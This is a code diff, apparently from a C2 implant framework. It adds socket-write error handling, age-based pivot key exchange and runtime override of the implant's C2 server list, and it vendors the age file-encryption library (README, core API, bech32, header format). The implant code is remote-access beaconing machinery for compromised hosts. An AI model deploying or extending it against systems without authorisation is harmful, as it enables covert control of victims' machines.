log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
+12 -2
View File
@@ -65,8 +65,18 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
connection.Write(dataLengthBuf.Bytes())
connection.Write(data)
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write msg-length): ", werr)
// {{end}}
return werr
}
if _, werr := connection.Write(data); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write msg): ", werr)
// {{end}}
return werr
}
return nil
}
@@ -20,7 +20,6 @@ package pivotclients
import (
"bytes"
"encoding/base64"
"encoding/binary"
"errors"
"io"
@@ -73,15 +72,8 @@ func (p *NetConnPivotClient) KeyExchange() error {
}
func (p *NetConnPivotClient) peerKeyExchange() error {
publicKey, err := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error decoding public key: %v", err)
// {{end}}
return err
}
pivotHello, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKey,
PublicKey: []byte(cryptography.ECCPublicKey),
PeerID: pivots.MyPeerID,
PublicKeySignature: cryptography.ECCPublicKeySignature,
})
@@ -108,7 +100,7 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
// {{end}}
return err
}
peerSessionKey, err := cryptography.ECCDecryptFromPeer(peerHello.PublicKey, peerHello.PublicKeySignature, peerHello.SessionKey)
peerSessionKey, err := cryptography.AgeDecryptFromPeer(peerHello.PublicKey, peerHello.PublicKeySignature, peerHello.SessionKey)
if err != nil || len(peerSessionKey) != 32 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error decrypting session key: %v", err)
@@ -124,7 +116,7 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
func (p *NetConnPivotClient) serverKeyExchange() error {
serverSessionKey := cryptography.RandomKey()
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
ciphertext, err := cryptography.AgeKeyExToServer(serverSessionKey[:])
if err != nil {
return err
}
+4 -4
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(innerAbort)
c2Generator := C2Generator(innerAbort, temporaryC2...)
go func() {
var connection *Connection
@@ -258,7 +258,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
return
}
case <-time.After(mtls.PingInterval):
mtls.WritePing(conn)
err = mtls.WritePing(conn)
if err != nil {
return
}
@@ -370,7 +370,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
return
}
case <-time.After(wireguard.PingInterval):
wireguard.WritePing(conn)
err = wireguard.WritePing(conn)
if err != nil {
return
}
+15 -6
View File
@@ -36,17 +36,26 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
// Any temporary C2 servers that are defined will override what is configured in the implant
if len(temporaryC2) > 0 {
for _, c2 := range temporaryC2 {
c2Servers = append(c2Servers, func() string {
return c2
})
}
} else {
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
}
generator := make(chan *url.URL)
go func() {
@@ -89,8 +89,18 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
connection.Write(dataLengthBuf.Bytes())
connection.Write(data)
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write msg-length): ", werr)
// {{end}}
return werr
}
if _, werr := connection.Write(data); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write msg): ", werr)
// {{end}}
return werr
}
return nil
}
+2
View File
@@ -0,0 +1,2 @@
*.age binary
testdata/testkit/* binary
+6
View File
@@ -0,0 +1,6 @@
# This is the official list of age authors for copyright purposes.
# To be included, send a change adding the individual or company
# who owns a contribution's copyright.
Google LLC
Filippo Valsorda
@@ -1,4 +1,4 @@
Copyright (c) 2019 The Go Authors. All rights reserved.
Copyright 2019 The age Authors
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
@@ -10,7 +10,7 @@ notice, this list of conditions and the following disclaimer.
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
* Neither the name of the age project nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
+251
View File
@@ -0,0 +1,251 @@
<p align="center"><img alt="The age logo, an wireframe of St. Peters dome in Rome, with the text: age, file encryption" width="600" src="https://user-images.githubusercontent.com/1225294/132245842-fda4da6a-1cea-4738-a3da-2dc860861c98.png"></p>
[![Go Reference](https://pkg.go.dev/badge/filippo.io/age.svg)](https://pkg.go.dev/filippo.io/age)
[![man page](<https://img.shields.io/badge/age(1)-man%20page-lightgrey>)](https://filippo.io/age/age.1)
[![C2SP specification](https://img.shields.io/badge/%C2%A7%23-specification-blueviolet)](https://age-encryption.org/v1)
age is a simple, modern and secure file encryption tool, format, and Go library.
It features small explicit keys, no config options, and UNIX-style composability.
```
$ age-keygen -o key.txt
Public key: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p
$ tar cvz ~/data | age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age
$ age --decrypt -i key.txt data.tar.gz.age > data.tar.gz
```
📜 The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). age was designed by [@Benjojo12](https://twitter.com/Benjojo12) and [@FiloSottile](https://twitter.com/FiloSottile).
📬 Follow the maintenance of this project by subscribing to [Maintainer Dispatches](https://filippo.io/newsletter)!
🦀 An alternative interoperable Rust implementation is available at [github.com/str4d/rage](https://github.com/str4d/rage).
🔑 Hardware PIV tokens such as YubiKeys are supported through the [age-plugin-yubikey](https://github.com/str4d/age-plugin-yubikey) plugin.
💬 The author pronounces it `[aɡe̞]`, like the Italian [“aghe”](https://translate.google.com/?sl=it&text=aghe).
## Installation
<table>
<tr>
<td>Homebrew (macOS or Linux)</td>
<td>
<code>brew install age</code>
</td>
</tr>
<tr>
<td>MacPorts</td>
<td>
<code>port install age</code>
</td>
</tr>
<tr>
<td>Alpine Linux v3.15+</td>
<td>
<code>apk add age</code>
</td>
</tr>
<tr>
<td>Arch Linux</td>
<td>
<code>pacman -S age</code>
</td>
</tr>
<tr>
<td>Debian 11+ (Bullseye)</td>
<td>
<code>apt install age/bullseye-backports</code>
(<a href="https://backports.debian.org/Instructions/#index2h2">enable backports</a> for age v1.0.0+)
</td>
</tr>
<tr>
<td>Fedora 33+</td>
<td>
<code>dnf install age</code>
</td>
</tr>
<tr>
<td>Gentoo Linux</td>
<td>
<code>emerge app-crypt/age</code>
</td>
</tr>
<tr>
<td>NixOS / Nix</td>
<td>
<code>nix-env -i age</code>
</td>
</tr>
<tr>
<td>openSUSE Tumbleweed</td>
<td>
<code>zypper install age</code>
</td>
</tr>
<tr>
<td>Ubuntu 22.04+</td>
<td>
<code>apt install age</code>
</td>
</tr>
<tr>
<td>Void Linux</td>
<td>
<code>xbps-install age</code>
</td>
</tr>
<tr>
<td>FreeBSD</td>
<td>
<code>pkg install age</code> (security/age)
</td>
</tr>
<tr>
<td>OpenBSD 6.7+</td>
<td>
<code>pkg_add age</code> (security/age)
</td>
</tr>
<tr>
<td>Chocolatey (Windows)</td>
<td>
<code>choco install age.portable</code>
</td>
</tr>
<tr>
<td>Scoop (Windows)</td>
<td>
<code>scoop bucket add extras; scoop install age</code>
</td>
</tr>
</table>
On Windows, Linux, macOS, and FreeBSD you can use the pre-built binaries.
```
https://dl.filippo.io/age/latest?for=linux/amd64
https://dl.filippo.io/age/v1.0.0-rc.1?for=darwin/arm64
...
```
If your system has [a supported version of Go](https://go.dev/dl/), you can build from source.
```
go install filippo.io/age/cmd/...@latest
```
Help from new packagers is very welcome.
## Usage
For the full documentation, read [the age(1) man page](https://filippo.io/age/age.1).
```
Usage:
age [--encrypt] (-r RECIPIENT | -R PATH)... [--armor] [-o OUTPUT] [INPUT]
age [--encrypt] --passphrase [--armor] [-o OUTPUT] [INPUT]
age --decrypt [-i PATH]... [-o OUTPUT] [INPUT]
Options:
-e, --encrypt Encrypt the input to the output. Default if omitted.
-d, --decrypt Decrypt the input to the output.
-o, --output OUTPUT Write the result to the file at path OUTPUT.
-a, --armor Encrypt to a PEM encoded format.
-p, --passphrase Encrypt with a passphrase.
-r, --recipient RECIPIENT Encrypt to the specified RECIPIENT. Can be repeated.
-R, --recipients-file PATH Encrypt to recipients listed at PATH. Can be repeated.
-i, --identity PATH Use the identity file at PATH. Can be repeated.
INPUT defaults to standard input, and OUTPUT defaults to standard output.
If OUTPUT exists, it will be overwritten.
RECIPIENT can be an age public key generated by age-keygen ("age1...")
or an SSH public key ("ssh-ed25519 AAAA...", "ssh-rsa AAAA...").
Recipient files contain one or more recipients, one per line. Empty lines
and lines starting with "#" are ignored as comments. "-" may be used to
read recipients from standard input.
Identity files contain one or more secret keys ("AGE-SECRET-KEY-1..."),
one per line, or an SSH key. Empty lines and lines starting with "#" are
ignored as comments. Passphrase encrypted age files can be used as
identity files. Multiple key files can be provided, and any unused ones
will be ignored. "-" may be used to read identities from standard input.
When --encrypt is specified explicitly, -i can also be used to encrypt to an
identity file symmetrically, instead or in addition to normal recipients.
```
### Multiple recipients
Files can be encrypted to multiple recipients by repeating `-r/--recipient`. Every recipient will be able to decrypt the file.
```
$ age -o example.jpg.age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p \
-r age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg example.jpg
```
#### Recipient files
Multiple recipients can also be listed one per line in one or more files passed with the `-R/--recipients-file` flag.
```
$ cat recipients.txt
# Alice
age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p
# Bob
age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg
$ age -R recipients.txt example.jpg > example.jpg.age
```
If the argument to `-R` (or `-i`) is `-`, the file is read from standard input.
### Passphrases
Files can be encrypted with a passphrase by using `-p/--passphrase`. By default age will automatically generate a secure passphrase. Passphrase protected files are automatically detected at decrypt time.
```
$ age -p secrets.txt > secrets.txt.age
Enter passphrase (leave empty to autogenerate a secure one):
Using the autogenerated passphrase "release-response-step-brand-wrap-ankle-pair-unusual-sword-train".
$ age -d secrets.txt.age > secrets.txt
Enter passphrase:
```
### Passphrase-protected key files
If an identity file passed to `-i` is a passphrase encrypted age file, it will be automatically decrypted.
```
$ age-keygen | age -p > key.age
Public key: age1yhm4gctwfmrpz87tdslm550wrx6m79y9f2hdzt0lndjnehwj0ukqrjpyx5
Enter passphrase (leave empty to autogenerate a secure one):
Using the autogenerated passphrase "hip-roast-boring-snake-mention-east-wasp-honey-input-actress".
$ age -r age1yhm4gctwfmrpz87tdslm550wrx6m79y9f2hdzt0lndjnehwj0ukqrjpyx5 secrets.txt > secrets.txt.age
$ age -d -i key.age secrets.txt.age > secrets.txt
Enter passphrase for identity file "key.age":
```
Passphrase-protected identity files are not necessary for most use cases, where access to the encrypted identity file implies access to the whole system. However, they can be useful if the identity file is stored remotely.
### SSH keys
As a convenience feature, age also supports encrypting to `ssh-rsa` and `ssh-ed25519` SSH public keys, and decrypting with the respective private key file. (`ssh-agent` is not supported.)
```
$ age -R ~/.ssh/id_ed25519.pub example.jpg > example.jpg.age
$ age -d -i ~/.ssh/id_ed25519 example.jpg.age > example.jpg
```
Note that SSH key support employs more complex cryptography, and embeds a public key tag in the encrypted file, making it possible to track files that are encrypted to a specific public key.
#### Encrypting to a GitHub user
Combining SSH key support and `-R`, you can easily encrypt a file to the SSH keys listed on a GitHub profile.
```
$ curl https://github.com/benjojo.keys | age -R - example.jpg > example.jpg.age
```
Keep in mind that people might not protect SSH keys long-term, since they are revokable when used only for authentication, and that SSH keys held on YubiKeys can't be used to decrypt files.
+238
View File
@@ -0,0 +1,238 @@
// Copyright 2019 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package age implements file encryption according to the age-encryption.org/v1
// specification.
//
// For most use cases, use the Encrypt and Decrypt functions with
// X25519Recipient and X25519Identity. If passphrase encryption is required, use
// ScryptRecipient and ScryptIdentity. For compatibility with existing SSH keys
// use the filippo.io/age/agessh package.
//
// age encrypted files are binary and not malleable. For encoding them as text,
// use the filippo.io/age/armor package.
//
// Key management
//
// age does not have a global keyring. Instead, since age keys are small,
// textual, and cheap, you are encouraged to generate dedicated keys for each
// task and application.
//
// Recipient public keys can be passed around as command line flags and in
// config files, while secret keys should be stored in dedicated files, through
// secret management systems, or as environment variables.
//
// There is no default path for age keys. Instead, they should be stored at
// application-specific paths. The CLI supports files where private keys are
// listed one per line, ignoring empty lines and lines starting with "#". These
// files can be parsed with ParseIdentities.
//
// When integrating age into a new system, it's recommended that you only
// support X25519 keys, and not SSH keys. The latter are supported for manual
// encryption operations. If you need to tie into existing key management
// infrastructure, you might want to consider implementing your own Recipient
// and Identity.
//
// Backwards compatibility
//
// Files encrypted with a stable version (not alpha, beta, or release candidate)
// of age, or with any v1.0.0 beta or release candidate, will decrypt with any
// later versions of the v1 API. This might change in v2, in which case v1 will
// be maintained with security fixes for compatibility with older files.
//
// If decrypting an older file poses a security risk, doing so might require an
// explicit opt-in in the API.
package age
import (
"crypto/hmac"
"crypto/rand"
"errors"
"fmt"
"io"
"filippo.io/age/internal/format"
"filippo.io/age/internal/stream"
)
// An Identity is passed to Decrypt to unwrap an opaque file key from a
// recipient stanza. It can be for example a secret key like X25519Identity, a
// plugin, or a custom implementation.
//
// Unwrap must return an error wrapping ErrIncorrectIdentity if none of the
// recipient stanzas match the identity, any other error will be considered
// fatal.
//
// Most age API users won't need to interact with this directly, and should
// instead pass Recipient implementations to Encrypt and Identity
// implementations to Decrypt.
type Identity interface {
Unwrap(stanzas []*Stanza) (fileKey []byte, err error)
}
var ErrIncorrectIdentity = errors.New("incorrect identity for recipient block")
// A Recipient is passed to Encrypt to wrap an opaque file key to one or more
// recipient stanza(s). It can be for example a public key like X25519Recipient,
// a plugin, or a custom implementation.
//
// Most age API users won't need to interact with this directly, and should
// instead pass Recipient implementations to Encrypt and Identity
// implementations to Decrypt.
type Recipient interface {
Wrap(fileKey []byte) ([]*Stanza, error)
}
// A Stanza is a section of the age header that encapsulates the file key as
// encrypted to a specific recipient.
//
// Most age API users won't need to interact with this directly, and should
// instead pass Recipient implementations to Encrypt and Identity
// implementations to Decrypt.
type Stanza struct {
Type string
Args []string
Body []byte
}
const fileKeySize = 16
const streamNonceSize = 16
// Encrypt encrypts a file to one or more recipients.
//
// Writes to the returned WriteCloser are encrypted and written to dst as an age
// file. Every recipient will be able to decrypt the file.
//
// The caller must call Close on the WriteCloser when done for the last chunk to
// be encrypted and flushed to dst.
func Encrypt(dst io.Writer, recipients ...Recipient) (io.WriteCloser, error) {
if len(recipients) == 0 {
return nil, errors.New("no recipients specified")
}
// As a best effort, prevent an API user from generating a file that the
// ScryptIdentity will refuse to decrypt. This check can't unfortunately be
// implemented as part of the Recipient interface, so it lives as a special
// case in Encrypt.
for _, r := range recipients {
if _, ok := r.(*ScryptRecipient); ok && len(recipients) != 1 {
return nil, errors.New("an ScryptRecipient must be the only one for the file")
}
}
fileKey := make([]byte, fileKeySize)
if _, err := rand.Read(fileKey); err != nil {
return nil, err
}
hdr := &format.Header{}
for i, r := range recipients {
stanzas, err := r.Wrap(fileKey)
if err != nil {
return nil, fmt.Errorf("failed to wrap key for recipient #%d: %v", i, err)
}
for _, s := range stanzas {
hdr.Recipients = append(hdr.Recipients, (*format.Stanza)(s))
}
}
if mac, err := headerMAC(fileKey, hdr); err != nil {
return nil, fmt.Errorf("failed to compute header MAC: %v", err)
} else {
hdr.MAC = mac
}
if err := hdr.Marshal(dst); err != nil {
return nil, fmt.Errorf("failed to write header: %v", err)
}
nonce := make([]byte, streamNonceSize)
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
if _, err := dst.Write(nonce); err != nil {
return nil, fmt.Errorf("failed to write nonce: %v", err)
}
return stream.NewWriter(streamKey(fileKey, nonce), dst)
}
// NoIdentityMatchError is returned by Decrypt when none of the supplied
// identities match the encrypted file.
type NoIdentityMatchError struct {
// Errors is a slice of all the errors returned to Decrypt by the Unwrap
// calls it made. They all wrap ErrIncorrectIdentity.
Errors []error
}
func (*NoIdentityMatchError) Error() string {
return "no identity matched any of the recipients"
}
// Decrypt decrypts a file encrypted to one or more identities.
//
// It returns a Reader reading the decrypted plaintext of the age file read
// from src. All identities will be tried until one successfully decrypts the file.
func Decrypt(src io.Reader, identities ...Identity) (io.Reader, error) {
if len(identities) == 0 {
return nil, errors.New("no identities specified")
}
hdr, payload, err := format.Parse(src)
if err != nil {
return nil, fmt.Errorf("failed to read header: %w", err)
}
stanzas := make([]*Stanza, 0, len(hdr.Recipients))
for _, s := range hdr.Recipients {
stanzas = append(stanzas, (*Stanza)(s))
}
errNoMatch := &NoIdentityMatchError{}
var fileKey []byte
for _, id := range identities {
fileKey, err = id.Unwrap(stanzas)
if errors.Is(err, ErrIncorrectIdentity) {
errNoMatch.Errors = append(errNoMatch.Errors, err)
continue
}
if err != nil {
return nil, err
}
break
}
if fileKey == nil {
return nil, errNoMatch
}
if mac, err := headerMAC(fileKey, hdr); err != nil {
return nil, fmt.Errorf("failed to compute header MAC: %v", err)
} else if !hmac.Equal(mac, hdr.MAC) {
return nil, errors.New("bad header MAC")
}
nonce := make([]byte, streamNonceSize)
if _, err := io.ReadFull(payload, nonce); err != nil {
return nil, fmt.Errorf("failed to read nonce: %w", err)
}
return stream.NewReader(streamKey(fileKey, nonce), payload)
}
// multiUnwrap is a helper that implements Identity.Unwrap in terms of a
// function that unwraps a single recipient stanza.
func multiUnwrap(unwrap func(*Stanza) ([]byte, error), stanzas []*Stanza) ([]byte, error) {
for _, s := range stanzas {
fileKey, err := unwrap(s)
if errors.Is(err, ErrIncorrectIdentity) {
// If we ever start returning something interesting wrapping
// ErrIncorrectIdentity, we should let it make its way up through
// Decrypt into NoIdentityMatchError.Errors.
continue
}
if err != nil {
return nil, err
}
return fileKey, nil
}
return nil, ErrIncorrectIdentity
}
+173
View File
@@ -0,0 +1,173 @@
// Copyright (c) 2017 Takatoshi Nakagawa
// Copyright (c) 2019 The age Authors
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
// Package bech32 is a modified version of the reference implementation of BIP173.
package bech32
import (
"fmt"
"strings"
)
var charset = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
var generator = []uint32{0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3}
func polymod(values []byte) uint32 {
chk := uint32(1)
for _, v := range values {
top := chk >> 25
chk = (chk & 0x1ffffff) << 5
chk = chk ^ uint32(v)
for i := 0; i < 5; i++ {
bit := top >> i & 1
if bit == 1 {
chk ^= generator[i]
}
}
}
return chk
}
func hrpExpand(hrp string) []byte {
h := []byte(strings.ToLower(hrp))
var ret []byte
for _, c := range h {
ret = append(ret, c>>5)
}
ret = append(ret, 0)
for _, c := range h {
ret = append(ret, c&31)
}
return ret
}
func verifyChecksum(hrp string, data []byte) bool {
return polymod(append(hrpExpand(hrp), data...)) == 1
}
func createChecksum(hrp string, data []byte) []byte {
values := append(hrpExpand(hrp), data...)
values = append(values, []byte{0, 0, 0, 0, 0, 0}...)
mod := polymod(values) ^ 1
ret := make([]byte, 6)
for p := range ret {
shift := 5 * (5 - p)
ret[p] = byte(mod>>shift) & 31
}
return ret
}
func convertBits(data []byte, frombits, tobits byte, pad bool) ([]byte, error) {
var ret []byte
acc := uint32(0)
bits := byte(0)
maxv := byte(1<<tobits - 1)
for idx, value := range data {
if value>>frombits != 0 {
return nil, fmt.Errorf("invalid data range: data[%d]=%d (frombits=%d)", idx, value, frombits)
}
acc = acc<<frombits | uint32(value)
bits += frombits
for bits >= tobits {
bits -= tobits
ret = append(ret, byte(acc>>bits)&maxv)
}
}
if pad {
if bits > 0 {
ret = append(ret, byte(acc<<(tobits-bits))&maxv)
}
} else if bits >= frombits {
return nil, fmt.Errorf("illegal zero padding")
} else if byte(acc<<(tobits-bits))&maxv != 0 {
return nil, fmt.Errorf("non-zero padding")
}
return ret, nil
}
// Encode encodes the HRP and a bytes slice to Bech32. If the HRP is uppercase,
// the output will be uppercase.
func Encode(hrp string, data []byte) (string, error) {
values, err := convertBits(data, 8, 5, true)
if err != nil {
return "", err
}
if len(hrp) < 1 {
return "", fmt.Errorf("invalid HRP: %q", hrp)
}
for p, c := range hrp {
if c < 33 || c > 126 {
return "", fmt.Errorf("invalid HRP character: hrp[%d]=%d", p, c)
}
}
if strings.ToUpper(hrp) != hrp && strings.ToLower(hrp) != hrp {
return "", fmt.Errorf("mixed case HRP: %q", hrp)
}
lower := strings.ToLower(hrp) == hrp
hrp = strings.ToLower(hrp)
var ret strings.Builder
ret.WriteString(hrp)
ret.WriteString("1")
for _, p := range values {
ret.WriteByte(charset[p])
}
for _, p := range createChecksum(hrp, values) {
ret.WriteByte(charset[p])
}
if lower {
return ret.String(), nil
}
return strings.ToUpper(ret.String()), nil
}
// Decode decodes a Bech32 string. If the string is uppercase, the HRP will be uppercase.
func Decode(s string) (hrp string, data []byte, err error) {
if strings.ToLower(s) != s && strings.ToUpper(s) != s {
return "", nil, fmt.Errorf("mixed case")
}
pos := strings.LastIndex(s, "1")
if pos < 1 || pos+7 > len(s) {
return "", nil, fmt.Errorf("separator '1' at invalid position: pos=%d, len=%d", pos, len(s))
}
hrp = s[:pos]
for p, c := range hrp {
if c < 33 || c > 126 {
return "", nil, fmt.Errorf("invalid character human-readable part: s[%d]=%d", p, c)
}
}
s = strings.ToLower(s)
for p, c := range s[pos+1:] {
d := strings.IndexRune(charset, c)
if d == -1 {
return "", nil, fmt.Errorf("invalid character data part: s[%d]=%v", p, c)
}
data = append(data, byte(d))
}
if !verifyChecksum(hrp, data) {
return "", nil, fmt.Errorf("invalid checksum")
}
data, err = convertBits(data[:len(data)-6], 5, 8, false)
if err != nil {
return "", nil, err
}
return hrp, data, nil
}
+311
View File
@@ -0,0 +1,311 @@
// Copyright 2019 The age Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package format implements the age file format.
package format
import (
"bufio"
"bytes"
"encoding/base64"
"errors"
"fmt"
"io"
"strings"
)
type Header struct {
Recipients []*Stanza
MAC []byte
}
// Stanza is assignable to age.Stanza, and if this package is made public,
// age.Stanza can be made a type alias of this type.
type Stanza struct {
Type string
Args []string
Body []byte
}
var b64 = base64.RawStdEncoding.Strict()
func DecodeString(s string) ([]byte, error) {
// CR and LF are ignored by DecodeString, but we don't want any malleability.
if strings.ContainsAny(s, "\n\r") {
return nil, errors.New(`unexpected newline character`)
}
return b64.DecodeString(s)
}
var EncodeToString = b64.EncodeToString
const ColumnsPerLine = 64
const BytesPerLine = ColumnsPerLine / 4 * 3
// NewWrappedBase64Encoder returns a WrappedBase64Encoder that writes to dst.
func NewWrappedBase64Encoder(enc *base64.Encoding, dst io.Writer) *WrappedBase64Encoder {
w := &WrappedBase64Encoder{dst: dst}
w.enc = base64.NewEncoder(enc, WriterFunc(w.writeWrapped))
return w
}
type WriterFunc func(p []byte) (int, error)
func (f WriterFunc) Write(p []byte) (int, error) { return f(p) }
// WrappedBase64Encoder is a standard base64 encoder that inserts an LF
// character every ColumnsPerLine bytes. It does not insert a newline neither at
// the beginning nor at the end of the stream, but it ensures the last line is
// shorter than ColumnsPerLine, which means it might be empty.
type WrappedBase64Encoder struct {
enc io.WriteCloser
dst io.Writer
written int
buf bytes.Buffer
}
func (w *WrappedBase64Encoder) Write(p []byte) (int, error) { return w.enc.Write(p) }
func (w *WrappedBase64Encoder) Close() error {
return w.enc.Close()
}
func (w *WrappedBase64Encoder) writeWrapped(p []byte) (int, error) {
if w.buf.Len() != 0 {
panic("age: internal error: non-empty WrappedBase64Encoder.buf")
}
for len(p) > 0 {
toWrite := ColumnsPerLine - (w.written % ColumnsPerLine)
if toWrite > len(p) {
toWrite = len(p)
}
n, _ := w.buf.Write(p[:toWrite])
w.written += n
p = p[n:]
if w.written%ColumnsPerLine == 0 {
w.buf.Write([]byte("\n"))
}
}
if _, err := w.buf.WriteTo(w.dst); err != nil {
// We always return n = 0 on error because it's hard to work back to the
// input length that ended up written out. Not ideal, but Write errors
// are not recoverable anyway.
return 0, err
}
return len(p), nil
}
// LastLineIsEmpty returns whether the last output line was empty, either
// because no input was written, or because a multiple of BytesPerLine was.
//
// Calling LastLineIsEmpty before Close is meaningless.
func (w *WrappedBase64Encoder) LastLineIsEmpty() bool {
return w.written%ColumnsPerLine == 0
}
const intro = "age-encryption.org/v1\n"
var stanzaPrefix = []byte("->")
var footerPrefix = []byte("---")
func (r *Stanza) Marshal(w io.Writer) error {
if _, err := w.Write(stanzaPrefix); err != nil {
return err
}
for _, a := range append([]string{r.Type}, r.Args...) {
if _, err := io.WriteString(w, " "+a); err != nil {
return err
}
}
if _, err := io.WriteString(w, "\n"); err != nil {
return err
}
ww := NewWrappedBase64Encoder(b64, w)
if _, err := ww.Write(r.Body); err != nil {
return err
}
if err := ww.Close(); err != nil {
return err
}
_, err := io.WriteString(w, "\n")
return err
}
func (h *Header) MarshalWithoutMAC(w io.Writer) error {
if _, err := io.WriteString(w, intro); err != nil {
return err
}
for _, r := range h.Recipients {
if err := r.Marshal(w); err != nil {
return err
}
}
_, err := fmt.Fprintf(w, "%s", footerPrefix)
return err
}
func (h *Header) Marshal(w io.Writer) error {
if err := h.MarshalWithoutMAC(w); err != nil {
return err
}
mac := b64.EncodeToString(h.MAC)
_, err := fmt.Fprintf(w, " %s\n", mac)
return err
}
type StanzaReader struct {
r *bufio.Reader
err error
}
func NewStanzaReader(r *bufio.Reader) *StanzaReader {
return &StanzaReader{r: r}
}
func (r *StanzaReader) ReadStanza() (s *Stanza, err error) {
// Read errors are unrecoverable.
if r.err != nil {
return nil, r.err
}
defer func() { r.err = err }()
s = &Stanza{}
line, err := r.r.ReadBytes('\n')
if err != nil {
return nil, fmt.Errorf("failed to read line: %w", err)
}
if !bytes.HasPrefix(line, stanzaPrefix) {
return nil, fmt.Errorf("malformed stanza opening line: %q", line)
}
prefix, args := splitArgs(line)
if prefix != string(stanzaPrefix) || len(args) < 1 {
return nil, fmt.Errorf("malformed stanza: %q", line)
}
for _, a := range args {
if !isValidString(a) {
return nil, fmt.Errorf("malformed stanza: %q", line)
}
}
s.Type = args[0]
s.Args = args[1:]
for {
line, err := r.r.ReadBytes('\n')
if err != nil {
return nil, fmt.Errorf("failed to read line: %w", err)
}
b, err := DecodeString(strings.TrimSuffix(string(line), "\n"))
if err != nil {
if bytes.HasPrefix(line, footerPrefix) || bytes.HasPrefix(line, stanzaPrefix) {
return nil, fmt.Errorf("malformed body line %q: stanza ended without a short line\nNote: this might be a file encrypted with an old beta version of age or rage. Use age v1.0.0-beta6 or rage to decrypt it.", line)
}
return nil, errorf("malformed body line %q: %v", line, err)
}
if len(b) > BytesPerLine {
return nil, errorf("malformed body line %q: too long", line)
}
s.Body = append(s.Body, b...)
if len(b) < BytesPerLine {
// A stanza body always ends with a short line.
return s, nil
}
}
}
type ParseError struct {
err error
}
func (e *ParseError) Error() string {
return "parsing age header: " + e.err.Error()
}
func (e *ParseError) Unwrap() error {
return e.err
}
func errorf(format string, a ...interface{}) error {
return &ParseError{fmt.Errorf(format, a...)}
}
// Parse returns the header and a Reader that begins at the start of the
// payload.
